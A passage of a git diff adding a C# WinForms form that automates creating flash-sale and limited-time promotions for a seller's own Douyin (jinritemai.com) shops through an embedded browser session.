+ private DevComponents.Editors.ComboItem 最贵; + private DevComponents.DotNetBar.PanelEx btnCancelGet; + private DevComponents.DotNetBar.PanelEx btnMdyAct; + private DevComponents.DotNetBar.PanelEx btnStopMdyAct; + private DevComponents.Editors.ComboItem 不设置最便宜; + private DevComponents.Editors.ComboItem 不设置最贵; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesForm.cs new file mode 100644 index 0000000..1c4bdd4 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesForm.cs @@ -0,0 +1,1546 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp.WinForms; +using LittleRabbit.Extension; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.ShopForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class SeckillingAndLimitedSalesForm : Form + { + public static List CustomActivityNames { get; set; } = new List(); + public CancellationTokenSource cancellationTokenSource { get; set; } = null; + public CancellationTokenSource addActiveCancellationTokenSource { get; set; } = null; + public ChromiumWebBrowser webBrowser { get; set; } = null; + + private CheckBox chkSelectAll = null; + private List customActivityNamesTemp = null; + private List lstShopId = new List(); + private string shop_stype = "2"; // 1一口价 2直降 3打折 + private string campaign_start_time; + private string campaign_end_time; + // 每个活动商品数量 + int eachActivityProductNum = 1; + // 每人限购 + string userLimit = "1"; + // 活动时间类型 // 按开始结束时间 或 按时间段 + string timeSetType = "1"; + // 活动库存售完后如何操作 + string soldOutType = "1"; + // 开始时间 + DateTime startTime = new DateTime(); + // 结束时间 + DateTime endTime = new DateTime(); + // (按时间段类型活动的)活动持续时间 + int actDuration = 0; + // 预热提前天 + string preDayStr = ""; + // 预热提前小时 + string pteHourStr = ""; + // 取消订单时间 + string cancelTime = ""; + // 是否预热 + bool isPreheat = false; + // 只设置一个或设设置指定sku + bool isSetSkuOption = false; + // 设置一个sku的类型(第一个,最后一个,价格最高,最低) + string skuOptionType = ""; + // 批量设置自定义名称 + bool isUseCustomActivityNames = false; + // 库存类型 + string stockType = ""; + // 库存数量 + int stockValue = 1; + // 最低折扣 + decimal maxDiscount = 0.95M; + // 最少降价金额 + decimal minReducePrice = 1M; + // 普通sku折扣/降价 + string strPrice = string.Empty; + // 最低sku折扣/降价 + string strPriceMin = string.Empty; + /// + /// 普通sku换算后用于设置的折扣/降价 + /// + string strSetPrice = string.Empty; + /// + /// 最低sku换算后用于设置的折扣/降价 + /// + string strSetPriceMin = string.Empty; + + /// + /// 搜索指定商品列表 + /// + public List LstSearthProductId { get; set; } = new List(); + + public SeckillingAndLimitedSalesForm() + { + InitializeComponent(); + } + + private void SeckillingAndLimitedSalesForm_Load(object sender, EventArgs e) + { + this.ucTabControl1.TabPages.Clear(); + + CustomActivityNames = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("limited_sales_custom_names"); + if (CustomActivityNames == null && FileBase.Exists("SetActiveNames.txt")) + { + var namesStr = FileBase.ReadAllText("SetActiveNames.txt"); + CustomActivityNames = namesStr.Split(new string[] { "\r", "\n", "," }, StringSplitOptions.RemoveEmptyEntries).ToList(); + } + if (CustomActivityNames == null) + { + CustomActivityNames = new List(); + } + + chkSelectAll = dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvShop.Columns["colSelect"].HeaderText = ""; + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + + dtpStartTime.Value = DateTime.Now.Date; + dtpEndTime.Value = DateTime.Now.Date.AddDays(1).AddSeconds(-1); + + if (cmbCancelTime.Items.Count > 1) + cmbCancelTime.SelectedIndex = 1; + + for (int i = 0; i <= 10; i++) + { + cmbDays.Items.Add(i + "天"); + } + cmbDays.SelectedIndex = 0; + + cmbHours.Items.Add("0.25小时"); + cmbHours.Items.Add("0.5小时"); + cmbHours.Items.Add("1小时"); + cmbHours.Items.Add("1.5小时"); + cmbHours.Items.Add("2小时"); + cmbHours.Items.Add("2.5小时"); + cmbHours.Items.Add("3小时"); + cmbHours.Items.Add("3.5小时"); + for (int i = 4; i <= 12; i++) + { + cmbHours.Items.Add(i + "小时"); + } + cmbHours.SelectedIndex = 0; + //设置限购数 + for (int x = 1; x <= 20; x++) + { + cmbLimit.Items.Add(x); + } + cmbLimit.SelectedIndex = 0; + //设置一个活动多少产品 + for (int a = 1; a <= 20; a++) + { + cmbSetPro.Items.Add(a); + } + cmbSetPro.SelectedIndex = 0; + + nudStockValue.Text = "1"; //参与活动库存 + txtSKUPriceMin.Text = "1"; //设置打折数 + txtSKUPriceCommon.Text = "1"; + cmbActCont.SelectedIndex = 3; //按时间段选择默认30分钟 + this.cmbStockType.SelectedIndex = 1; + this.cmbSkuOptionType.SelectedIndex = 0; + + rbNotPreheat_CheckedChanged(null, null); + } + + private void SeckillingAndLimitedSalesForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible == true) + RefreshShop(); + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + lstShopId.Clear(); + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + lstShopId.Clear(); + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && s.LoginStatus == "登录成功").Select(ss => ss.ShopAccountId); + lstShopId.AddRange(list); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + private void rbNotPreheat_CheckedChanged(object sender, EventArgs e) + { + if (!rbNotPreheat.Checked) + { + pnlPreheat.Visible = true; + pnlDiscount.Location = new Point(pnlDiscount.Location.X, pnlPreheat.Location.Y + pnlPreheat.Height + 5); + lblDiscount.Location = new Point(lblDiscount.Location.X, pnlPreheat.Location.Y + pnlPreheat.Height + 8); + flpPrice.Location = new Point(flpPrice.Location.X, pnlDiscount.Location.Y + pnlPreheat.Height); + } + else + { + pnlPreheat.Visible = false; + pnlDiscount.Location = new Point(pnlDiscount.Location.X, pnlPreheat.Location.Y + 5); + lblDiscount.Location = new Point(lblDiscount.Location.X, pnlPreheat.Location.Y + 8); + flpPrice.Location = new Point(flpPrice.Location.X, pnlDiscount.Location.Y + pnlDiscount.Height); + } + } + private void rbStartEndTime_CheckedChanged(object sender, EventArgs e) + { + if (rbStartEndTime.Checked) + { + dtpStartTime.Visible = true; + label1.Visible = true; + dtpEndTime.Visible = true; + this.panel7.Visible = false; + } + else + { + dtpStartTime.Visible = false; + label1.Visible = false; + dtpEndTime.Visible = false; + this.panel7.Visible = true; + } + } + + private void btnRefreshShop_Click(object sender, EventArgs e) + { + RefreshShop(); + } + + private void RefreshShop() + { + // 更新选中的上货店铺Id + lstShopId = lstShopId.Where(id => GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == id && s.LoginStatus == "已授权")).ToList(); + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + // 绑定其他店铺(含新导入的店铺) + foreach (DouShopLoginInfo shopEntity in GlobalConfig.DouShopLoginList) + { + BindShop(shopEntity); + } + } + + private void BindShop(DouShopLoginInfo shopEntity) + { + if (shopEntity == null) + return; + + bool canUse = shopEntity.ApiAuthStatus == "授权成功" && shopEntity.LoginStatus == "登录成功"; + var row = dgvShop.Rows.Cast().FirstOrDefault(p => p.Cells.GetCellValueFromColumnName("colShopId").ParseToString() == shopEntity.ShopAccountId); + if (row == null) + { + this.dgvShop.Rows.Add( + lstShopId.Contains(shopEntity.ShopAccountId) && canUse, + shopEntity.ShopAccountId, + shopEntity.ShopAccount, + shopEntity.ApiAuthStatus, + shopEntity.LoginStatus, + canUse, + string.Empty + ); + } + else + { + row.Cells["colSelect"].Value = lstShopId.Contains(shopEntity.ShopAccountId) && canUse; + row.Cells["colShopName"].Value = shopEntity.ShopAccount; + row.Cells["colAuthStatus"].Value = shopEntity.ApiAuthStatus; + row.Cells["colLoginStatus"].Value = shopEntity.LoginStatus; + row.Cells["colCanUse"].Value = canUse; + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvShop.Columns[e.ColumnIndex].Name; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + var row = dgvShop.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + if (row.Cells["colCanUse"].Value.ParseToBool()) + { + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + { + if (lstShopId.Any(p => p == shopId.ToString())) + lstShopId.RemoveAll(p => p == shopId.ToString()); + lstShopId.Add(shopId.ToString()); + } + else + lstShopId.RemoveAll(p => p == shopId.ToString()); + if (dgvShop.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + } + else + { + BaseMsgForm.ShowInfo("店铺未授权或未登录!"); + } + break; + } + } + + private void btnGetProduct_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺!"); + return; + } + + LstSearthProductId = txtContainsId.Text.Split(new string[] { "\r", "\n", "," }, StringSplitOptions.RemoveEmptyEntries).ToList(); + campaign_start_time = dtpStartTime.Value.ToString("yyyy-MM-dd+HH:mm:ss"); + campaign_end_time = dtpEndTime.Value.ToString("yyyy-MM-dd+HH:mm:ss"); + if (rbTimePeriod.Checked) + { + var time = DateTime.Now; + var actDuration = cmbActCont.Text.Replace("小时", "").Replace("分钟", "").ParseToInt() * (cmbActCont.Text.Contains("小时") ? 60 : 1); + campaign_start_time = time.ToString("yyyy-MM-dd+HH:mm:ss"); + campaign_end_time = time.AddMinutes(actDuration).ToString("yyyy-MM-dd+HH:mm:ss"); + } + + btnGetProduct.Enabled = false; + + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + var lstShopIdTemp = new List(); + lstShopIdTemp.AddRange(lstShopId); + + foreach (var shopId in lstShopIdTemp) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ShopListForm.Instance == null) + ShopListForm.Instance = new ShopListForm(); + ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + if (shop.LoginStatus != "登录成功") + { + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colLoginStatus"].Value = "未登录"; + row.Cells["colCanUse"].Value = false; + } + })); + continue; + } + + SeckillingAndLimitedSalesShopForm salesShopForm = null; + Invoke(new Action(() => + { + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + if (tab == null) + { + tab = new TabPage(); + tab.Name = "tab" + shop.ShopAccountId; + tab.Text = shop.ShopAccount; + this.ucTabControl1.TabPages.Add(tab); + + var SeckillingAndLimitedSalesShopForm = new SeckillingAndLimitedSalesShopForm(shop); + SeckillingAndLimitedSalesShopForm.SeckillingAndLimitedSalesForm = this; + SeckillingAndLimitedSalesShopForm.TopLevel = false; + SeckillingAndLimitedSalesShopForm.Left = 0; + SeckillingAndLimitedSalesShopForm.Top = 0; + SeckillingAndLimitedSalesShopForm.FormBorderStyle = FormBorderStyle.None; + SeckillingAndLimitedSalesShopForm.AutoSize = true; + SeckillingAndLimitedSalesShopForm.Dock = DockStyle.Fill; + SeckillingAndLimitedSalesShopForm.Show(); + tab.Controls.Add(SeckillingAndLimitedSalesShopForm); + } + + if (tab.Controls.Count > 0) + { + salesShopForm = tab.Controls[0] as SeckillingAndLimitedSalesShopForm; + this.ucTabControl1.SelectedTab = tab; + } + })); + + if (salesShopForm != null) + { + salesShopForm.GetProduct(); + } + } + Invoke(new Action(() => + { + btnManageAct.Enabled = btnGetProduct.Enabled = btnSubAct.Enabled = btnMdyAct.Enabled = true; + })); + }, cancellationTokenSource.Token); + } + + public void GetProductByCef(DouShopLoginInfo shop) + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + Helper.CustomResourceRequestHandlerLocal resourceRequestHandler = new Helper.CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadCompleteEvent; + webBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + webBrowser.LifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + webBrowser.SendToBack(); + this.splitContainer1.Panel2.Controls.Add(webBrowser); + })); + } + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + if (cancellationTokenSource.IsCancellationRequested) + return; + + webBrowser.Tag = shop; + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + + var targetUrl = "https://fxg.jinritemai.com/ffa/g/list"; + webBrowser.Load(targetUrl); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(3000); + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + Thread.Sleep(3000); + } + + private void RequestHandler_ResourceLoadCompleteEvent(object sender, string url, string postData, string responseData, CefSharp.IRequest iRequest) + { + // 商品列表界面 + if (url.StartsWith("https://fxg.jinritemai.com/product/tproduct/list?page=0") && url.Contains("&pay_type=")) + { + if (webBrowser.Tag != null) + { + var listUrl = url; + var referrerUrl = iRequest.ReferrerUrl; + var result = responseData; + Dictionary headers = new Dictionary(); + foreach (var hk in iRequest.Headers.AllKeys) + { + headers[hk] = iRequest.Headers[hk]; + } + + var shop = webBrowser.Tag as DouShopLoginInfo; + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + var salesForm = tab.Controls[0] as SeckillingAndLimitedSalesShopForm; + + Task.Run(() => + { + var cookies = CEFBrowser.GetCookie("", webBrowser.RequestContext.GetCookieManager(null)); + + if (salesForm != null) + salesForm.GetProductSim(listUrl, referrerUrl, headers, "", campaign_start_time, campaign_end_time); + + webBrowser.Tag = null; + Thread.Sleep(1000); + }); + } + } + // 活动管理界面 + else if (url.StartsWith("https://fxg.jinritemai.com/shop/promotion/listFlashWithTimeLimit?campaign_status=") && url.Contains("&shop_stype=")) + { + if (webBrowser.Tag != null) + { + var listUrl = url; + var referrerUrl = iRequest.ReferrerUrl; + var result = responseData; + Dictionary headers = new Dictionary(); + foreach (var hk in iRequest.Headers.AllKeys) + { + headers[hk] = iRequest.Headers[hk]; + } + + var shop = webBrowser.Tag as DouShopLoginInfo; + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount + "活动管理" && t.Name == "tab" + shop.ShopAccountId + "Active"); + var managerActiveForm = tab.Controls[0] as LimitedSalesManagerActiveForm; + + Task.Run(() => + { + var cookies = CEFBrowser.GetCookie("", webBrowser.RequestContext.GetCookieManager(null)); + if (managerActiveForm != null) + managerActiveForm.GetActiveSim(listUrl, referrerUrl, headers, result); + + webBrowser.Tag = null; + Thread.Sleep(1000); + }); + } + } + } + + private void lblTime_Click(object sender, EventArgs e) + { + if (this.webBrowser != null) + { + webBrowser.SendToBack(); + } + } + + private void lblTime_DoubleClick(object sender, EventArgs e) + { + if (this.webBrowser != null) + { + webBrowser.BringToFront(); + } + } + + private void btnSubAct_Click(object sender, EventArgs e) + { + lstShopId = dgvShop.Rows.Cast().Where(row + => row.Cells["colSelect"]?.Value.ParseToBool() == true).Select(r => r.Cells["colShopId"]?.Value.ToString()).ToList(); + + if (lstShopId.Count <= 0) + { + BaseMsgForm.ShowInfo("请选择要设置的店铺!"); + return; + } + + var initResult = InitParams(); + if (!initResult) + return; + + addActiveCancellationTokenSource = new CancellationTokenSource(); + btnGetProduct.Enabled = false; + btnSubAct.Enabled = false; + btnMdyAct.Enabled = false; + + Task.Run(() => + { + var lstShopIdTemp = new List(); + lstShopIdTemp.AddRange(lstShopId); + + foreach (var shopId in lstShopIdTemp) + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ucTabControl1.TabPages["tab" + shopId] != null && ucTabControl1.TabPages["tab" + shopId].Controls.Count > 0) + { + var salesForm = ucTabControl1.TabPages["tab" + shopId].Controls[0] as SeckillingAndLimitedSalesShopForm; + if (salesForm == null) + continue; + + Invoke(new Action(() => + { + salesForm.statusBar.lblTaskStatus.Text = "正在创建活动"; + })); + + List productIdList = salesForm.LstProductId; + if (productIdList.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺 " + shop.ShopAccount + " 参加活动的商品!"); + continue; + } + else + { + var productList = salesForm.ProductList.Where(p => productIdList.Contains(p.product_id)).ToList(); + AddOrMdyActivity(shop, productList, null, salesForm); + } + Invoke(new Action(() => + { + if (addActiveCancellationTokenSource.IsCancellationRequested) + salesForm.statusBar.lblTaskStatus.Text = "活动创建中断"; + else + salesForm.statusBar.lblTaskStatus.Text = "活动创建结束"; + })); + } + } + Invoke(new Action(() => + { + btnManageAct.Enabled = btnGetProduct.Enabled = btnSubAct.Enabled = btnMdyAct.Enabled = true; + })); + }, addActiveCancellationTokenSource.Token); + } + + private void AddOrMdyActivity(DouShopLoginInfo shop, List productList, ActiveInfo active, + SeckillingAndLimitedSalesShopForm salesForm = null, LimitedSalesManagerActiveForm manageForm = null) + { + string activityName = ""; + + string pIdData = @"{""product_ids"":["; + List pIdList = new List(); + int nameId = 1; + for (int i = 0; i < productList.Count; i++) + { + if (addActiveCancellationTokenSource.IsCancellationRequested) + break; + + activityName = ""; + if (active != null) + activityName = active.title; + + DouProductPromotionListInfo info = productList[i]; + string pid = info.product_id; + pIdList.Add(pid); + + if ((i + 1) % eachActivityProductNum == 0 || i == productList.Count - 1) + { + string pIdStr = "\"" + string.Join("\",\"", pIdList) + "\""; + pIdData = pIdData + pIdStr.TrimEnd(',') + "]}"; + pIdList.Clear(); + string cookies = shop.Cookies; + string result = ""; + if (salesForm != null) + result = salesForm.GetSkusByProductIds(pIdData, cookies); + else if (manageForm != null) + result = manageForm.GetSkusByProductIds(pIdData, cookies); + + if (!result.Contains("\"st\":0")) + continue; + + // 还原商品详情查询字段 + pIdData = @"{""product_ids"":["; + + // 设置活动名称 + if (string.IsNullOrEmpty(activityName)) + { + activityName = "限时限量" + nameId + "-" + DateTime.Now.ToString("MMddHHmmss"); + nameId++; + + if (isUseCustomActivityNames) + { + if (customActivityNamesTemp != null && customActivityNamesTemp.Count > 0) + { + activityName = customActivityNamesTemp[0]; + customActivityNamesTemp.RemoveAt(0); + } + else + { + Invoke(new Action(() => + { + if (salesForm != null) + salesForm.ShowVisitorMessage("活动创建失败,自定义名称数量不足!", pIdStr); + })); + break; + } + } + } + + string postData = "{\"sub_stype\":\"0\",\"shop_stype\":\"" + shop_stype + "\",\"title\":\"" + activityName + "\",\"time_set_type\":\"" + timeSetType + "\",\"promotion_goods\":["; + JObject jObj = JObject.Parse(result); + foreach (JProperty jp in jObj["data"]) + { + string errorMsg = ""; + + var id = jp.Name; + var productJson = "{\"product_id\":\"" + id + "\",\"title\":\"" + info.name + "\",\"cover\":\"" + info.img + "\",\"config_scope\":\"0\",\"promotion_skus\":["; + + JArray arr = jp.Value as JArray; + // 处理指定sku下商品的逻辑 + if (isSetSkuOption) + { + // 默认第一个 + var objs = new List() { arr.FirstOrDefault(o => o["stock"]?.ParseToInt() > 0) }; + if (skuOptionType == "最后一个") + objs = new List() { arr.LastOrDefault(o => o["stock"]?.ParseToInt() > 0) }; + if (skuOptionType == "最贵") + objs = new List() { arr.OrderBy(o => o["origin_price"]).LastOrDefault(o => o["stock"]?.ParseToInt() > 0) }; + if (skuOptionType == "最便宜") + objs = new List() { arr.OrderBy(o => o["origin_price"]).FirstOrDefault(o => o["stock"]?.ParseToInt() > 0) }; + if (skuOptionType == "不设置最便宜") + { + objs = arr.OrderBy(o => o["origin_price"]).Skip(1).ToList(); + } + if (skuOptionType == "不设置最贵") + { + objs = arr.OrderBy(o => o["origin_price"]).Take(objs.Count).ToList(); + } + + if (objs == null || objs.Count == 0) + { + errorMsg = "满足条件的商品库存为0"; + pIdStr = pIdStr.Replace(id, ""); + break; + } + + foreach (var obj in objs) + { + int totalStock = obj["stock"].ParseToInt(); + int origin_price = obj["origin_price"].ParseToInt(); + var stockNum = totalStock; + if (stockType == "百分比库存") + { + stockNum = stockValue * totalStock / 100; + } + else if (stockType == "统一库存") + { + stockNum = stockValue; + } + if (stockNum > totalStock) + { + //stockNum = totalStock; + errorMsg = "商品Sku库存不足"; + pIdStr = pIdStr.Replace(id, ""); + break; + } + if (stockNum < 1) + stockNum = 1; + + if (shop_stype == "1") + productJson = productJson + "{\"id\":\"" + obj["id"] + "\",\"camp_stock_num\":\"" + stockNum + "\",\"user_limit\":\"" + userLimit + "\",\"price\":\"" + strSetPrice + "\"},"; + else + { + if (shop_stype == "2" && strSetPrice.ParseToDecimal() / origin_price < 1 - maxDiscount) + { + errorMsg = "商品优惠力度不足" + (maxDiscount * 10).ToString() + "折"; + pIdStr = pIdStr.Replace(id, ""); + break; + } + if (shop_stype == "3" && origin_price * (1 - strSetPrice.ParseToDecimal() / 100) < 100) + { + errorMsg = "商品优惠力度不足" + minReducePrice + "元"; + pIdStr = pIdStr.Replace(id, ""); + break; + } + + productJson = productJson + "{\"id\":\"" + obj["id"] + "\",\"camp_stock_num\":\"" + stockNum + "\",\"user_limit\":\"" + userLimit + "\",\"price\":\"undefined\",\"shop_svalue\":\"" + strSetPrice + "\"},"; + } + } + } + else + { + bool isSetMin = false; + var minPrice = arr.Where(s => s["stock"].ParseToInt() > 0).Min(s => s["origin_price"]?.ParseToInt()); + if (minPrice == null) + { + errorMsg = "商品库存为0"; + pIdStr = pIdStr.Replace("\"" + id + "\"", ""); + } + foreach (JObject obj in arr) + { + int totalStock = obj["stock"].ParseToInt(); + int origin_price = obj["origin_price"].ParseToInt(); + if (totalStock > 0) + { + var stockNum = totalStock; + if (stockType == "百分比库存") + { + stockNum = stockValue * totalStock / 100; + } + else if (stockType == "统一库存") + { + stockNum = stockValue; + } + if (stockNum > totalStock) + { + //stockNum = totalStock; + errorMsg = "商品Sku库存不足"; + pIdStr = pIdStr.Replace(id, ""); + break; + } + if (stockNum < 1) + stockNum = 1; + + if (shop_stype != "1" && !isSetMin && obj["origin_price"].ParseToInt() == minPrice) + { + if (shop_stype == "2" && strSetPriceMin.ParseToDecimal() / origin_price < 1 - maxDiscount) + { + errorMsg = "商品优惠力度不足" + (maxDiscount * 10).ToString() + "折"; + pIdStr = pIdStr.Replace(id, ""); + break; + } + if (shop_stype == "3" && origin_price * (1 - strSetPriceMin.ParseToDecimal() / 100) < 100) + { + errorMsg = "商品优惠力度不足" + minReducePrice + "元"; + pIdStr = pIdStr.Replace(id, ""); + break; + } + + productJson = productJson + "{\"id\":\"" + obj["id"] + "\",\"camp_stock_num\":\"" + stockNum + "\",\"user_limit\":\"" + userLimit + "\",\"price\":\"undefined\",\"shop_svalue\":\"" + strSetPriceMin + "\"},"; + isSetMin = true; + } + else + { + + if (shop_stype == "1") + productJson = productJson + "{\"id\":\"" + obj["id"] + "\",\"camp_stock_num\":\"" + stockNum + "\",\"user_limit\":\"" + userLimit + "\",\"price\":\"" + strSetPrice + "\"},"; + else + { + if (shop_stype == "2" && strSetPrice.ParseToDecimal() / origin_price < 1 - maxDiscount) + { + errorMsg = "商品优惠力度不足" + (maxDiscount * 10).ToString() + "折"; + pIdStr = pIdStr.Replace(id, ""); + break; + } + if (shop_stype == "3" && origin_price * (1 - strSetPrice.ParseToDecimal() / 100) < 100) + { + errorMsg = "商品优惠力度不足" + minReducePrice + "元"; + pIdStr = pIdStr.Replace(id, ""); + break; + } + + productJson = productJson + "{\"id\":\"" + obj["id"] + "\",\"camp_stock_num\":\"" + stockNum + "\",\"user_limit\":\"" + userLimit + "\",\"price\":\"undefined\",\"shop_svalue\":\"" + strSetPrice + "\"},"; + } + } + } + } + } + if (errorMsg == "") + { + // 结束sku列表 + postData = postData + productJson.TrimEnd(',') + "]},"; + } + else + { + if (salesForm != null) + salesForm.ShowVisitorMessage(activityName + "活动创建失败!原因:" + errorMsg, id, true); + else if (manageForm != null) + manageForm.ShowVisitorMessage(activityName + "活动创建失败!原因:" + errorMsg, active?.campaign_id); + } + } + + if (pIdStr.Trim(',') == "") + { + Invoke(new Action(() => + { + if (salesForm != null) + salesForm.ShowVisitorMessage(activityName + "活动创建失败!原因:没有满足设置条件的商品", pIdStr); + else if (manageForm != null) + manageForm.ShowVisitorMessage(activityName + "活动创建失败!原因:没有满足设置条件的商品", active?.campaign_id); + })); + Thread.Sleep(Randomx.GetId(1500, 3500)); + } + else + { + DateTime begin_time = startTime; + DateTime end_time = endTime; + if (timeSetType != "0") + { + begin_time = DateTime.Now; + end_time = begin_time.AddMinutes(actDuration); + } + var pre_begin_time = begin_time; + if (isPreheat) + { + var day = preDayStr.Replace("天", "").ParseToInt(); + var hour = pteHourStr.Replace("小时", "").ParseToDouble(); + if (day > 0) + pre_begin_time = pre_begin_time.AddDays(-day); + if (hour > 0) + pre_begin_time = pre_begin_time.AddHours(-hour); + } + postData = postData.TrimEnd(',') + "],\"order_expire_time\":\"" + cancelTime.Replace("分钟", "").ParseToInt() * 60 + "\",\"pre_begin_time\":\"" + pre_begin_time.ToString("yyyy-MM-dd HH:mm:ss") + "\",\"begin_time\":\"" + begin_time.ToString("yyyy-MM-dd HH:mm:ss") + "\",\"end_time\":\"" + end_time.ToString("yyyy-MM-dd HH:mm:ss") + "\",\"sold_out_type\":\"" + soldOutType + "\",\"create_action_type\":\"0\"}"; + string checkPro = ""; + for (int times = 0; !checkPro.Contains("{\"st\":0,\"msg\"") && !checkPro.Contains("Gateway Timeout") && times < 3; times++) + { + if (salesForm != null) + checkPro = salesForm.checkFlashAndGoods(postData, cookies); + else if (manageForm != null) + checkPro = manageForm.checkFlashAndGoods(postData, cookies); + } + if (checkPro == "" || checkPro.Contains("Gateway Timeout") || checkPro.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,")) + { + string createPro = ""; + if (salesForm != null) + { + createPro = salesForm.createFlashAndGoods(postData, cookies); + for (int times = 0; times < 2 && (!createPro.Contains("{\"st\":0,\"msg\"") || createPro.Contains("系统内部错误")); times++) + { + checkPro = salesForm.checkFlashAndGoods(postData, cookies); + if (checkPro.Contains("已参加同时段")) + { + createPro = "{\"st\":0,\"msg\":\"\",\"code\":0,"; + break; + } + else + createPro = salesForm.createFlashAndGoods(postData, cookies); + } + // 如果商品sku过多导致失败则分开建相同名称的活动 + if (createPro.Contains("Gateway Timeout") || createPro.Contains("系统内部错误")) + { + JObject parentObj = JObject.Parse(postData); + var goodsArr = parentObj["promotion_goods"]; + + JArray goodsJArr = new JArray(); + foreach (JObject prodObj in goodsArr) + { + goodsJArr.Add(prodObj); + if (goodsJArr.Count() >= 10 || goodsArr.LastOrDefault() == prodObj) + { + parentObj["promotion_goods"] = goodsJArr; + goodsJArr = new JArray(); + + createPro = ""; + for (int num = 0; num < 3 && !createPro.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,"); num++) + { + checkPro = salesForm.checkFlashAndGoods(JsonHelper.SerializeObject(parentObj), cookies); + if (checkPro.Contains("已参加同时段")) + { + createPro = "{\"st\":0,\"msg\":\"\",\"code\":0,"; + break; + } + createPro = salesForm.createFlashAndGoods(JsonHelper.SerializeObject(parentObj), cookies); + } + if (!createPro.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,")) + break; + } + } + } + } + else if (manageForm != null) + { + createPro = manageForm.createFlashAndGoods(postData, cookies); + if (!createPro.Contains("{\"st\":0,\"msg\"")) + createPro = manageForm.createFlashAndGoods(postData, cookies); + if (!createPro.Contains("{\"st\":0,\"msg\"")) + createPro = manageForm.createFlashAndGoods(postData, cookies); + } + + if (createPro.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,")) + { + Invoke(new Action(() => + { + if 